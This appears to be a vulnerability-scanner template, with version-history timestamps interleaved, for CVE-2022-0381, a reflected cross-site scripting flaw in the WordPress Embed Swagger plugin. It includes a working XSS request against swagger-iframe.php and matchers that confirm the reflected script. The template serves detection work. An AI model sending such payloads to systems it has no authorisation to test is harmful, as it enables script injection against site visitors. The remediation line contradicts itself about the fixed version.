2022-03-07 18:19:41 +00:00
id : CVE-2022-0381
info :
2022-09-10 01:55:52 +00:00
name : WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
2022-03-07 18:19:41 +00:00
author : edoardottt
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-10 01:55:52 +00:00
description : |
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0381
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2022-03-07 18:19:41 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-10 01:55:52 +00:00
cve-id : CVE-2022-0381
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00218
2024-03-23 09:28:19 +00:00
epss-percentile : 0.59134
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
2024-04-08 11:34:33 +00:00
max-request : 1
vendor : embed_swagger_project
product : embed_swagger
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,swagger,xss,wordpress,embed_swagger_project
2024-04-08 11:34:33 +00:00
2024-03-26 17:26:22 +00:00
flow : http(1) && http(2)
2023-04-27 04:28:59 +00:00
http :
2024-03-26 17:26:22 +00:00
- raw :
- |
GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
Host : {{Hostname}}
matchers :
- type : word
internal : true
words :
- 'Embed Swagger'
- 'Tags:'
condition : and
2022-03-07 18:19:41 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"
matchers-condition : and
matchers :
2022-03-07 19:19:41 +00:00
- type : word
part : header
words :
- "text/html"
2022-03-07 18:19:41 +00:00
- type : word
part : body
words :
2022-09-10 01:55:52 +00:00
- "url: \"xss://\"-alert(document.domain)"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-04-08 11:29:20 +00:00
# digest: 4a0a00473045022100909ee1b627b444bdc18d71639aa85fa4fdff674e941acf8c72f639e8e45755c40220535a70f0c8e6d7466ff71b65b837c7365003a67097937d72232fb3ce1bb07f1f:922c64590222798bb761d5b6d8e72950